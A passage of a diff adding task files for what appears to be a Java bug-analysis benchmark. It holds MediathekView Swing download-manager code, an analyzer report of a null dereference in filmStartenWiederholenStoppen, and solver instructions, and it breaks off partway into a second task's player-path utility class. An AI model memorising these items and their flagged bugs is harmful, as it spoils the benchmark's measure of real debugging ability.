+                if (!sFile.exists()) {
+                    sFile = sFile.getParentFile();
+                }
+                if (Desktop.isDesktopSupported()) {
+                    Desktop d = Desktop.getDesktop();
+                    if (d.isSupported(Desktop.Action.OPEN)) {
+                        d.open(sFile);
+                        gut = true;
+                    }
+                }
+            } catch (Exception ex) {
+                try {
+                    gut = false;
+                    String programm = "";
+                    if (Daten.system[Konstanten.SYSTEM_ORDNER_OEFFNEN_NR].equals("")) {
+                        DialogProgrammOrdnerOeffnen dialog = new DialogProgrammOrdnerOeffnen(ddaten.mediathekGui, ddaten, true, "", "Dateimanager suchen");
+                        dialog.setVisible(true);
+                        if (dialog.ok) {
+                            programm = dialog.ziel;
+                        }
+                    } else {
+                        programm = Daten.system[Konstanten.SYSTEM_ORDNER_OEFFNEN_NR];
+                    }
+                    if (sFile != null) {
+                        Runtime.getRuntime().exec(programm + " " + sFile.getAbsolutePath());
+                        Daten.system[Konstanten.SYSTEM_ORDNER_OEFFNEN_NR] = programm;
+                        ListenerMediathekView.notify(ListenerMediathekView.EREIGNIS_PROGRAMM_ORDNER_OEFFNEN, GuiDownloads.class.getSimpleName());
+                        gut = true;
+                    }
+                } catch (Exception eex) {
+                    Log.fehlerMeldung(306590789, Log.FEHLER_ART_PROG, GuiDownloads.class.getName(), ex, "Ordner öffnen: " + download.arr[DatenDownload.DOWNLOAD_ZIEL_PFAD_NR]);
+                }
+            } finally {
+                if (!gut) {
+                    Daten.system[Konstanten.SYSTEM_ORDNER_OEFFNEN_NR] = "";
+                    ListenerMediathekView.notify(ListenerMediathekView.EREIGNIS_PROGRAMM_ORDNER_OEFFNEN, GuiDownloads.class.getSimpleName());
+                    JOptionPane.showMessageDialog(parentComponent, "Kann den Dateimanager nicht öffnen!",
+                            "Fehler", JOptionPane.ERROR_MESSAGE);
+                }
+            }
+        } else {
+            new HinweisKeineAuswahl().zeigen(parentComponent);
+        }
+    }
+
+    private void downloadLoeschen(boolean dauerhaft) {
+        int rows[] = tabelle.getSelectedRows();
+        if (rows.length > 0) {
+            String[] urls = new String[rows.length];
+            for (int i = 0; i < rows.length; ++i) {
+                urls[i] = tabelle.getModel().getValueAt(tabelle.convertRowIndexToModel(rows[i]), DatenDownload.DOWNLOAD_URL_NR).toString();
+            }
+            for (String url : urls) {
+                DatenDownload download = ddaten.listeDownloads.getDownloadByUrl(url);
+                if (dauerhaft) {
+                    if (download.istAbo()) {
+                        // ein Abo wird zusätzlich ins Logfile geschrieben
+                        ddaten.erledigteAbos.zeileSchreiben(download.arr[DatenDownload.DOWNLOAD_THEMA_NR], download.arr[DatenDownload.DOWNLOAD_TITEL_NR], url);
+                    }
+                    ddaten.listeDownloads.delDownloadByUrl(url);
+                } else {
+                    // wenn nicht dauerhaft
+                    download.zurueckstellen();
+                }
+                ddaten.starterClass.filmLoeschen(url);
+            }
+            tabelleLaden();
+        } else {
+            new HinweisKeineAuswahl().zeigen(parentComponent);
+        }
+    }
+
+    private void filmStartenWiederholenStoppen(boolean alle, boolean starten /* starten/wiederstarten oder stoppen */) {
+        // bezieht sich immer auf "alle" oder nur die markierten
+        // Film der noch keinen Starts hat wird gestartet
+        // Film dessen Start schon auf fertig/fehler steht wird wieder gestartet
+        // bei !starten wird der Film gestoppt
+        String[] urls;
+        // ==========================
+        // erst mal die URLs sammeln
+        if (alle) {
+            urls = new String[tabelle.getRowCount()];
+            for (int i = 0; i < tabelle.getRowCount(); ++i) {
+                urls[i] = tabelle.getModel().getValueAt(i, DatenDownload.DOWNLOAD_URL_NR).toString();
+            }
+        } else {
+            int[] rows = tabelle.getSelectedRows();
+            urls = new String[rows.length];
+            if (rows.length >= 0) {
+                for (int i = 0; i < rows.length; i++) {
+                    int row = tabelle.convertRowIndexToModel(rows[i]);
+                    urls[i] = tabelle.getModel().getValueAt(row, DatenDownload.DOWNLOAD_URL_NR).toString();
+                }
+            } else {
+                new HinweisKeineAuswahl().zeigen(parentComponent);
+            }
+        }
+        // ========================
+        // und jetzt abarbeiten
+        for (String url : urls) {
+            Start s = ddaten.starterClass.getStart(url);
+            DatenDownload download = ddaten.listeDownloads.getDownloadByUrl(url);
+            if (starten) {
+                // --------------
+                // starten
+                if (s != null) {
+                    if (s.status > Start.STATUS_RUN) {
+                        // wenn er noch läuft gibts nix
+                        // wenn er schon fertig ist, erst mal fragen vor dem erneuten Starten
+                        int a = JOptionPane.showConfirmDialog(parentComponent, "Film nochmal starten?  ==> " + s.datenDownload.arr[DatenDownload.DOWNLOAD_TITEL_NR], "Fertiger Download", JOptionPane.YES_NO_OPTION);
+                        if (a != JOptionPane.YES_OPTION) {
+                            // weiter mit der nächsten URL
+                            continue;
+                        }
+                        ddaten.starterClass.filmLoeschen(url);
+                        if (s.datenDownload.istAbo()) {
+                            // bei Abos Url auch aus dem Logfile löschen, der Film ist damit wieder auf "Anfang"
+                            ddaten.erledigteAbos.urlAusLogfileLoeschen(url);
+
+                        }
+                    }
+                }
+                // jetzt noch starten/wiederstarten
+                // Start erstellen und zur Liste hinzufügen
+                download.starten(ddaten);
+            } else {
+                // ---------------
+                // stoppen
+                if (s != null) {
+                    // wenn kein s -> dann gibts auch nichts zum stoppen oder wieder-starten
+                    if (s.status <= Start.STATUS_RUN) {
+                        // löschen -> nur wenn noch läuft, sonst gibts nichts mehr zum löschen
+                        ddaten.starterClass.filmLoeschen(url);
+                        if (s.datenDownload.istAbo()) {
+                            // bei Abos Url auch aus dem Logfile löschen, der Film ist damit wieder auf "Anfang"
+                            ddaten.erledigteAbos.urlAusLogfileLoeschen(url);
+                        }
+                    }
+                    download.startMelden(DatenDownload.PROGRESS_NICHT_GESTARTET);
+                }
+            }
+        }
+    }
+
+    private void stopWartende() {
+        // es werden alle noch nicht gestarteten Downloads gelöscht
+        ArrayList<String> urls = new ArrayList<String>();
+        for (int i = 0; i < tabelle.getRowCount(); ++i) {
+            int delRow = tabelle.convertRowIndexToModel(i);
+            String url = tabelle.getModel().getValueAt(delRow, DatenDownload.DOWNLOAD_URL_NR).toString();
+            Start s = ddaten.starterClass.getStart(url);
+            if (s != null) {
+                if (s.status < Start.STATUS_RUN) {
+                    urls.add(url);
+                }
+            }
+        }
+        for (String url : urls) {
+            ddaten.starterClass.filmLoeschen(url);
+        }
+    }
+
+    private void setInfo() {
+        String textLinks;
+        // Text links: Zeilen Tabelle
+        int laufen = ddaten.starterClass.getDownloadsLaufen();
+        int warten = ddaten.starterClass.getDownloadsWarten();
+        int gesamt = tabelle.getModel().getRowCount();
+        if (gesamt == 1) {
+            textLinks = "1 Download,";
+        } else {
+            textLinks = gesamt + " Downloads,";
+        }
+        textLinks += " (";
+        if (laufen == 1) {
+            textLinks += "1 läuft,";
+        } else {
+            textLinks += laufen + " laufen,";
+        }
+        if (warten == 1) {
+            textLinks += " 1 wartet";
+        } else {
+            textLinks += " " + warten + " warten";
+        }
+        textLinks += ")";
+        // Infopanel setzen
+        ddaten.infoPanel.setTextLinks(InfoPanel.IDX_GUI_DOWNLOAD, textLinks);
+    }
+
+    private void dialogDatenFilmSetzen() {
+        DatenFilm aktFilm = new DatenFilm();
+        int selectedTableRow = tabelle.getSelectedRow();
+        if (selectedTableRow >= 0) {
+            int selectedModelRow = tabelle.convertRowIndexToModel(selectedTableRow);
+            DatenFilm film = Daten.listeFilme.getFilmByUrl(tabelle.getModel().getValueAt(selectedModelRow, DatenDownload.DOWNLOAD_URL_NR).toString());
+            if (film != null) {
+                aktFilm = film;
+            }
+        }
+        dialogDatenFilm.setAktFilm(aktFilm);
+    }
+
+    /** This method is called from within the constructor to
+     * initialize the form.
+     * WARNING: Do NOT modify this code. The content of this method is
+     * always regenerated by the Form Editor.
+     */
+    // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
+    private void initComponents() {
+
+        buttonGroup1 = new javax.swing.ButtonGroup();
+        jScrollPane1 = new javax.swing.JScrollPane();
+        jTable1 = new javax.swing.JTable();
+        jPanelFilter = new javax.swing.JPanel();
+        jCheckBoxFilter = new javax.swing.JCheckBox();
+        jPanelFilterInnen = new javax.swing.JPanel();
+        jRadioButtonAlles = new javax.swing.JRadioButton();
+        jRadioButtonDownloads = new javax.swing.JRadioButton();
+        jRadioButtonAbos = new javax.swing.JRadioButton();
+
+        jTable1.setAutoCreateRowSorter(true);
+        jTable1.setAutoResizeMode(javax.swing.JTable.AUTO_RESIZE_OFF);
+        jScrollPane1.setViewportView(jTable1);
+
+        jPanelFilter.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(153, 153, 153)));
+
+        jCheckBoxFilter.setBackground(new java.awt.Color(217, 217, 217));
+        jCheckBoxFilter.setFont(new java.awt.Font("Dialog", 1, 10)); // NOI18N
+        jCheckBoxFilter.setText("Filter");
+
+        buttonGroup1.add(jRadioButtonAlles);
+        jRadioButtonAlles.setSelected(true);
+        jRadioButtonAlles.setText(" alle");
+        jRadioButtonAlles.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(204, 204, 204)));
+        jRadioButtonAlles.setBorderPainted(true);
+
+        buttonGroup1.add(jRadioButtonDownloads);
+        jRadioButtonDownloads.setText(" Downloads ");
+        jRadioButtonDownloads.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(204, 204, 204)));
+        jRadioButtonDownloads.setBorderPainted(true);
+
+        buttonGroup1.add(jRadioButtonAbos);
+        jRadioButtonAbos.setText(" Abos ");
+        jRadioButtonAbos.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(204, 204, 204)));
+        jRadioButtonAbos.setBorderPainted(true);
+
+        javax.swing.GroupLayout jPanelFilterInnenLayout = new javax.swing.GroupLayout(jPanelFilterInnen);
+        jPanelFilterInnen.setLayout(jPanelFilterInnenLayout);
+        jPanelFilterInnenLayout.setHorizontalGroup(
+            jPanelFilterInnenLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
+            .addGroup(jPanelFilterInnenLayout.createSequentialGroup()
+                .addContainerGap()
+                .addComponent(jRadioButtonAlles)
+                .addGap(18, 18, 18)
+                .addComponent(jRadioButtonDownloads)
+                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
+                .addComponent(jRadioButtonAbos)
+                .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
+        );
+
+        jPanelFilterInnenLayout.linkSize(javax.swing.SwingConstants.HORIZONTAL, new java.awt.Component[] {jRadioButtonAbos, jRadioButtonAlles, jRadioButtonDownloads});
+
+        jPanelFilterInnenLayout.setVerticalGroup(
+            jPanelFilterInnenLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
+            .addGroup(jPanelFilterInnenLayout.createSequentialGroup()
+                .addContainerGap()
+                .addGroup(jPanelFilterInnenLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.CENTER)
+                    .addComponent(jRadioButtonAlles)
+                    .addComponent(jRadioButtonDownloads)
+                    .addComponent(jRadioButtonAbos))
+                .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
+        );
+
+        javax.swing.GroupLayout jPanelFilterLayout = new javax.swing.GroupLayout(jPanelFilter);
+        jPanelFilter.setLayout(jPanelFilterLayout);
+        jPanelFilterLayout.setHorizontalGroup(
+            jPanelFilterLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
+            .addComponent(jPanelFilterInnen, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
+            .addComponent(jCheckBoxFilter, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
+        );
+        jPanelFilterLayout.setVerticalGroup(
+            jPanelFilterLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
+            .addGroup(jPanelFilterLayout.createSequentialGroup()
+                .addComponent(jCheckBoxFilter)
+                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
+                .addComponent(jPanelFilterInnen, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
+        );
+
+        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this);
+        this.setLayout(layout);
+        layout.setHorizontalGroup(
+            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
+            .addGroup(layout.createSequentialGroup()
+                .addContainerGap()
+                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
+                    .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 670, Short.MAX_VALUE)
+                    .addComponent(jPanelFilter, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
+                .addContainerGap())
+        );
+        layout.setVerticalGroup(
+            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
+            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
+                .addContainerGap()
+                .addComponent(jPanelFilter, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
+                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
+                .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 357, Short.MAX_VALUE)
+                .addContainerGap())
+        );
+    }// </editor-fold>//GEN-END:initComponents
+    // Variables declaration - do not modify//GEN-BEGIN:variables
+    private javax.swing.ButtonGroup buttonGroup1;
+    private javax.swing.JCheckBox jCheckBoxFilter;
+    private javax.swing.JPanel jPanelFilter;
+    private javax.swing.JPanel jPanelFilterInnen;
+    private javax.swing.JRadioButton jRadioButtonAbos;
+    private javax.swing.JRadioButton jRadioButtonAlles;
+    private javax.swing.JRadioButton jRadioButtonDownloads;
+    private javax.swing.JScrollPane jScrollPane1;
+    private javax.swing.JTable jTable1;
+    // End of variables declaration//GEN-END:variables
+
+    private class BeobachterTableSelect implements ListSelectionListener {
+
+        @Override
+        public void valueChanged(ListSelectionEvent event) {
+            if (!event.getValueIsAdjusting()) {
+                dialogDatenFilmSetzen();
+            }
+        }
+    }
+
+    public class BeobMausTabelle extends MouseAdapter {
+
+        private Point p;
+
+        public BeobMausTabelle() {
+        }
+
+        @Override
+        public void mouseClicked(MouseEvent arg0) {
+            if (arg0.getButton() == MouseEvent.BUTTON1) {
+                if (arg0.getClickCount() > 1) {
+                    downloadAendern();
+                }
+//            } else if (arg0.getButton() == MouseEvent.BUTTON3) {
+//                showMenu(arg0);
+            }
+        }
+
+        @Override
+        public void mousePressed(MouseEvent arg0) {
+            if (arg0.isPopupTrigger()) {
+                showMenu(arg0);
+            }
+        }
+
+        @Override
+        public void mouseReleased(MouseEvent arg0) {
+            if (arg0.isPopupTrigger()) {
+                showMenu(arg0);
+            }
+        }
+
+        private void showMenu(MouseEvent evt) {
+            p = evt.getPoint();
+            int nr = tabelle.rowAtPoint(p);
+            if (nr >= 0) {
+                tabelle.setRowSelectionInterval(nr, nr);
+            }
+            JPopupMenu jPopupMenu = new JPopupMenu();
+
+            //Film vorziehen
+            int row = tabelle.getSelectedRow();
+            boolean wartenOderLaufen = false;
+            if (row >= 0) {
+                int delRow = tabelle.convertRowIndexToModel(row);
+                Start s = ddaten.starterClass.getStart(tabelle.getModel().getValueAt(delRow, DatenDownload.DOWNLOAD_URL_NR).toString());
+                if (s != null) {
+                    if (s.status <= Start.STATUS_RUN) {
+                        wartenOderLaufen = true;
+                    }
+                }
+            }
+
+            // Download starten
+            JMenuItem itemStarten = new JMenuItem("Download starten");
+            itemStarten.setIcon(new javax.swing.ImageIcon(getClass().getResource("/mediathek/res/player_play_16.png")));
+            itemStarten.setEnabled(!wartenOderLaufen);
+            jPopupMenu.add(itemStarten);
+            itemStarten.addActionListener(new ActionListener() {
+                @Override
+                public void actionPerformed(ActionEvent arg0) {
+                    filmStartenWiederholenStoppen(false /* alle */, true /* starten */);
+                }
+            });
+
+            // Download stoppen
+            JMenuItem itemStoppen = new JMenuItem("Download stoppen");
+            itemStoppen.setIcon(new javax.swing.ImageIcon(getClass().getResource("/mediathek/res/player_stop_16.png")));
+            itemStoppen.setEnabled(wartenOderLaufen);
+            jPopupMenu.add(itemStoppen);
+            itemStoppen.addActionListener(new ActionListener() {
+                @Override
+                public void actionPerformed(ActionEvent arg0) {
+                    filmStartenWiederholenStoppen(false /* alle */, false /* starten */);
+                }
+            });
+
+            // Zielordner öffnen
+            JMenuItem itemOeffnen = new JMenuItem("Zielordner öffnen");
+            itemOeffnen.setIcon(new javax.swing.ImageIcon(getClass().getResource("/mediathek/res/fileopen_16.png")));
+            jPopupMenu.add(itemOeffnen);
+            itemOeffnen.addActionListener(new ActionListener() {
+                @Override
+                public void actionPerformed(ActionEvent arg0) {
+                    zielordnerOeffnen();
+                }
+            });
+
+
+            //#######################################
+            jPopupMenu.addSeparator();
+            //#######################################
+
+            JMenuItem itemVorziehen = new JMenuItem("Download vorziehen");
+            itemVorziehen.setIcon(new javax.swing.ImageIcon(getClass().getResource("/mediathek/res/up_blue_16.png")));
+            jPopupMenu.add(itemVorziehen);
+            itemVorziehen.addActionListener(new ActionListener() {
+                @Override
+                public void actionPerformed(ActionEvent arg0) {
+                    downloadVorziehen();
+                }
+            });
+            JMenuItem itemLoeschen = new JMenuItem("Download zurückstellen");
+            itemLoeschen.setIcon(new javax.swing.ImageIcon(getClass().getResource("/mediathek/res/undo_16.png")));
+            jPopupMenu.add(itemLoeschen);
+            itemLoeschen.addActionListener(new ActionListener() {
+                @Override
+                public void actionPerformed(ActionEvent arg0) {
+                    downloadLoeschen(false /* dauerhaft */);
+                }
+            });
+            //dauerhaft löschen
+            JMenuItem itemDauerhaftLoeschen = new JMenuItem("Download dauerhaft löschen");
+            itemDauerhaftLoeschen.setIcon(new javax.swing.ImageIcon(getClass().getResource("/mediathek/res/del_16.png")));
+            jPopupMenu.add(itemDauerhaftLoeschen);
+            itemDauerhaftLoeschen.addActionListener(new ActionListener() {
+                @Override
+                public void actionPerformed(ActionEvent arg0) {
+                    downloadLoeschen(true /* dauerhaft */);
+                }
+            });
+            //ändern
+            JMenuItem itemAendern = new JMenuItem("Download Ändern");
+            itemAendern.setIcon(new javax.swing.ImageIcon(getClass().getResource("/mediathek/res/configure_16.png")));
+            jPopupMenu.add(itemAendern);
+            itemAendern.addActionListener(new ActionListener() {
+                @Override
+                public void actionPerformed(ActionEvent arg0) {
+                    downloadAendern();
+                }
+            });
+
+            //#######################################
+            jPopupMenu.addSeparator();
+            //#######################################
+
+            JMenuItem itemAlleStarten = new JMenuItem("alle Downloads starten");
+            itemAlleStarten.setIcon(new javax.swing.ImageIcon(getClass().getResource("/mediathek/res/next_16.png")));
+            jPopupMenu.add(itemAlleStarten);
+            itemAlleStarten.addActionListener(new ActionListener() {
+                @Override
+                public void actionPerformed(ActionEvent arg0) {
+                    filmStartenWiederholenStoppen(true /* alle */, true /* starten */);
+                }
+            });
+            JMenuItem itemAlleStoppen = new JMenuItem("alle Downloads stoppen");
+            itemAlleStoppen.setIcon(new javax.swing.ImageIcon(getClass().getResource("/mediathek/res/player_stop_16.png")));
+            jPopupMenu.add(itemAlleStoppen);
+            itemAlleStoppen.addActionListener(new ActionListener() {
+                @Override
+                public void actionPerformed(ActionEvent arg0) {
+                    filmStartenWiederholenStoppen(true /* alle */, false /* starten */);
+                }
+            });
+            JMenuItem itemWartendeStoppen = new JMenuItem("wartende Downloads stoppen");
+            itemWartendeStoppen.setIcon(new javax.swing.ImageIcon(getClass().getResource("/mediathek/res/player_stop_16.png")));
+            jPopupMenu.add(itemWartendeStoppen);
+            itemWartendeStoppen.addActionListener(new ActionListener() {
+                @Override
+                public void actionPerformed(ActionEvent arg0) {
+                    stopWartende();
+                }
+            });
+            JMenuItem itemAktualisieren = new JMenuItem("Liste der Downloads aktualisieren");
+            itemAktualisieren.setIcon(new javax.swing.ImageIcon(getClass().getResource("/mediathek/res/view-refresh_16.png")));
+            jPopupMenu.add(itemAktualisieren);
+            itemAktualisieren.addActionListener(new ActionListener() {
+                @Override
+                public void actionPerformed(ActionEvent arg0) {
+                    downloadsAktualisieren();
+                }
+            });
+            JMenuItem itemAufraeumen = new JMenuItem("Liste Aufräumen");
+            itemAufraeumen.setIcon(new javax.swing.ImageIcon(getClass().getResource("/mediathek/res/edit-clear_16.png")));
+            jPopupMenu.add(itemAufraeumen);
+            itemAufraeumen.addActionListener(new ActionListener() {
+                @Override
+                public void actionPerformed(ActionEvent arg0) {
+                    downloadsAufraeumen();
+                }
+            });
+
+            //#######################################
+            jPopupMenu.addSeparator();
+            //#######################################
+
+            // url
+            JMenuItem itemUrl = new JMenuItem("URL kopieren");
+            itemUrl.addActionListener(new ActionListener() {
+                @Override
+                public void actionPerformed(ActionEvent e) {
+                    int nr = tabelle.rowAtPoint(p);
+                    if (nr >= 0) {
+                        GuiFunktionen.copyToClipboard(
+                                tabelle.getModel().getValueAt(tabelle.convertRowIndexToModel(nr),
+                                DatenDownload.DOWNLOAD_URL_NR).toString());
+                    }
+                }
+            });
+            jPopupMenu.add(itemUrl);
+
+            // Player
+            JMenuItem itemPlayer = new JMenuItem("Film abspielen");
+            itemPlayer.addActionListener(new ActionListener() {
+                @Override
+                public void actionPerformed(ActionEvent e) {
+                    int nr = tabelle.rowAtPoint(p);
+                    if (nr >= 0) {
+                        DatenPset gruppe = ddaten.listePset.getPsetAbspielen();
+                        if (gruppe != null) {
+                            int selectedModelRow = tabelle.convertRowIndexToModel(nr);
+                            DatenFilm film = Daten.listeFilme.getFilmByUrl(tabelle.getModel().getValueAt(selectedModelRow, DatenDownload.DOWNLOAD_URL_NR).toString());
+                            if (film != null) {
+                                // in die History eintragen
+                                ddaten.history.add(film.getUrlOrg());
+                                // und starten
+                                ddaten.starterClass.urlStarten(gruppe, film);
+                            }
+                        } else {
+                            JOptionPane.showMessageDialog(parentComponent, "Im Menü unter \"Datei->Optionen->Videoplayer\" ein Programm zum Abspielen festlegen.",
+                                    "kein Videoplayer!", JOptionPane.INFORMATION_MESSAGE);
+                        }
+                    }
+                }
+            });
+            jPopupMenu.add(itemPlayer);
+
+            // Infos
+            JMenuItem itemInfo = new JMenuItem("Infos anzeigen");
+            itemInfo.addActionListener(new ActionListener() {
+                @Override
+                public void actionPerformed(ActionEvent e) {
+                    dialogDatenFilm.setVis();
+                }
+            });
+            jPopupMenu.add(itemInfo);
+
+            // Tabellenspalten zurücksetzen
+            JMenuItem item = new JMenuItem("Spalten zurücksetzen");
+            item.addActionListener(new ActionListener() {
+                @Override
+                public void actionPerformed(ActionEvent e) {
+                    tabelle.resetTabelle();
+                }
+            });
+            jPopupMenu.add(item);
+            // 
+            // ######################
+            // Menü anzeigen
+            jPopupMenu.show(evt.getComponent(), evt.getX(), evt.getY());
+        }
+    }
+
+    private class BeobAbstractActionAendern extends AbstractAction {
+
+        @Override
+        public void actionPerformed(ActionEvent e) {
+            downloadAendern();
+        }
+    }
+
+    private class BeobAnzeige implements ActionListener {
+
+        @Override
+        public void actionPerformed(ActionEvent e) {
+            tabelleLaden();
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `download` last assigned on line 367 could be null and is dereferenced at line 390.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void GuiDownloads.filmStartenWiederholenStoppen(boolean,boolean)
+
+### Procedure Id:
+mediathek.gui.GuiDownloads.filmStartenWiederholenStoppen(boolean,boolean):void.705abf1e637e36763958f9c8ae95c3f1
+
+### File:
+src/mediathek/gui/GuiDownloads.java
+
+### Key:
+GuiDownloads.java|filmStartenWiederholenStoppen|NULL_DEREFERENCE
+
+### Node Key:
+fc3afcc06b1d978fbc0ea4830affd0cf
+
+### Hash:
+b47b2e8abf0f72dba1f9d183311ff276
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8954/instruction.md b/inferredbugs-8954/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c0490d134509c9323a9f3240a50342d3f396fe3c
--- /dev/null
+++ b/inferredbugs-8954/instruction.md
@@ -0,0 +1,450 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** MediathekView
+**Bug ID:** 31
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * MediathekView
+ * Copyright (C) 2008 W. Xaver
+ * W.Xaver[at]googlemail.com
+ * http://zdfmediathk.sourceforge.net/
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+package mediathek.tool;
+
+import java.io.File;
+import java.io.InputStream;
+import java.util.Iterator;
+import javax.swing.JOptionPane;
+import mediathek.controller.io.IoXmlLesen;
+import mediathek.daten.DDaten;
+import mediathek.daten.Daten;
+import mediathek.daten.DatenProg;
+import mediathek.daten.DatenPset;
+import mediathek.daten.ListePset;
+import mediathek.file.GetFile;
+import mediathek.gui.dialog.DialogHilfe;
+import mediathek.gui.dialog.DialogOk;
+import mediathek.gui.dialogEinstellungen.DialogImportPset;
+import mediathek.gui.dialogEinstellungen.PanelProgrammPfade;
+
+public class GuiFunktionenProgramme {
+
+    public static final int OS_UNKNOWN = 0;
+    public static final int OS_WIN_32BIT = 1;
+    public static final int OS_WIN_64BIT = 2;
+    public static final int OS_LINUX = 3;
+    public static final int OS_MAC = 4;
+
+    private static String getWindowsMplayerPath() {
+        //Für Windows den Pfad des VLC ermitteln
+        //sonst den deutschen Defaultpfad für Programme verwenden verwenden
+        final String PFAD_WIN_DEFAULT = "C:\\Program Files\\SMPlayer\\mplayer\\mplayer.exe";
+        final String PFAD_WIN = "\\SMPlayer\\mplayer\\mplayer.exe";
+        String vlcPfad;
+        try {
+            if (System.getProperty("os.name").toLowerCase().contains("windows")) {
+                if (System.getenv("ProgramFiles") != null) {
+                    vlcPfad = System.getenv("ProgramFiles") + PFAD_WIN;
+                    if (new File(vlcPfad).exists()) {
+                        return vlcPfad;
+                    }
+                }
+            }
+            if (System.getenv("ProgramFiles(x86)") != null) {
+                vlcPfad = System.getenv("ProgramFiles(x86)") + PFAD_WIN;
+                if (new File(vlcPfad).exists()) {
+                    return vlcPfad;
+                }
+            }
+        } catch (Exception ex) {
+        }
+        return PFAD_WIN_DEFAULT;
+    }
+
+    private static String getWindowsVlcPath() {
+        //Für Windows den Pfad des VLC ermitteln
+        //sonst den deutschen Defaultpfad für Programme verwenden verwenden
+        final String PFAD_WIN_DEFAULT = "C:\\Programme\\VideoLAN\\VLC\\vlc.exe";
+        final String PFAD_WIN = "\\VideoLAN\\VLC\\vlc.exe";
+        String vlcPfad;
+        try {
+            if (System.getProperty("os.name").toLowerCase().contains("windows")) {
+                if (System.getenv("ProgramFiles") != null) {
+                    vlcPfad = System.getenv("ProgramFiles") + PFAD_WIN;
+                    if (new File(vlcPfad).exists()) {
+                        return vlcPfad;
+                    }
+                }
+            }
+            if (System.getenv("ProgramFiles(x86)") != null) {
+                vlcPfad = System.getenv("ProgramFiles(x86)") + PFAD_WIN;
+                if (new File(vlcPfad).exists()) {
+                    return vlcPfad;
+                }
+            }
+        } catch (Exception ex) {
+        }
+        return PFAD_WIN_DEFAULT;
+    }
+
+    public static String getMusterPfadMplayer() {
+        final String PFAD_LINUX = "/usr/bin/mplayer";
+        final String PFAD_MAC = "/opt/local/bin/mplayer";
+        String pfad = "";
+        if (System.getProperty("os.name").toLowerCase().contains("windows")) {
+            pfad = getWindowsMplayerPath();
+        } else if (System.getProperty("os.name").toLowerCase().contains("linux")) {
+            pfad = PFAD_LINUX;
+        } else if (System.getProperty("os.name").toLowerCase().contains("mac")) {
+            pfad = PFAD_MAC;
+        }
+        if (new File(pfad).exists()) {
+            return pfad;
+        } else {
+            return "";
+        }
+    }
+
+    public static String getMusterPfadVlc() {
+        final String PFAD_LINUX_VLC = "/usr/bin/vlc";
+        final String PFAD_MAC_VLC = "/Applications/VLC.app/Contents/MacOS/VLC";
+        String pfad = "";
+        if (System.getProperty("os.name").toLowerCase().contains("windows")) {
+            pfad = getWindowsVlcPath();
+        } else if (System.getProperty("os.name").toLowerCase().contains("linux")) {
+            pfad = PFAD_LINUX_VLC;
+        } else if (System.getProperty("os.name").toLowerCase().contains("mac")) {
+            pfad = PFAD_MAC_VLC;
+        }
+        if (new File(pfad).exists()) {
+            return pfad;
+        } else {
+            return "";
+        }
+    }
+
+    public static String getMusterPfadFlv() {
